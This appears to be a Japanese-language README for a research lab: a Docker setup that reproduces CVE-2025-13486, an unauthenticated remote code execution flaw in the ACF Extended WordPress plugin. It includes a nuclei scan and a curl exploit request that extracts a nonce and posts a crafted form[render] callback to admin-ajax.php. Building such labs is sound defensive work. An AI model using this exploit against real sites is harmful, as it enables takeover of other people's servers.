kre80r/cve-2025-13486-vuln-setupCVE-2025-13486 (ACF Extended RCE) 用の Docker テスト環境。セキュリティ研究専用です。
ACF Extended の RCE 脆弱性をテストするためのワンショット Docker セットアップ。
# 1. Download plugins (run once)
./download-plugins.sh
# 2. Start environment
docker-compose up -d --build
# 3. Wait ~30 seconds for setup, then test
nuclei -t CVE-2025-13486.yaml -u http://localhost:8888
ダウンロードスクリプトが失敗した場合は、以下のファイルを手動で plugins/ に配置してください:
ACF Pro（必須の依存関係）
plugins/acf-pro.zipACF Extended 0.9.0.5（脆弱性のあるバージョン）
plugins/acf-extended.zip# Extract nonce from homepage
curl -s http://localhost:8888/ | grep -oP '"nonce":"([a-f0-9]+)"'
# Test RCE with print_r
curl -X POST http://localhost:8888/wp-admin/admin-ajax.php \
-d "action=acfe/form/render_form_ajax&nonce=<NONCE>&form[render]=print_r&form[test]=PWNED"
docker-compose down -v
call_user_func_array() による未認証RCE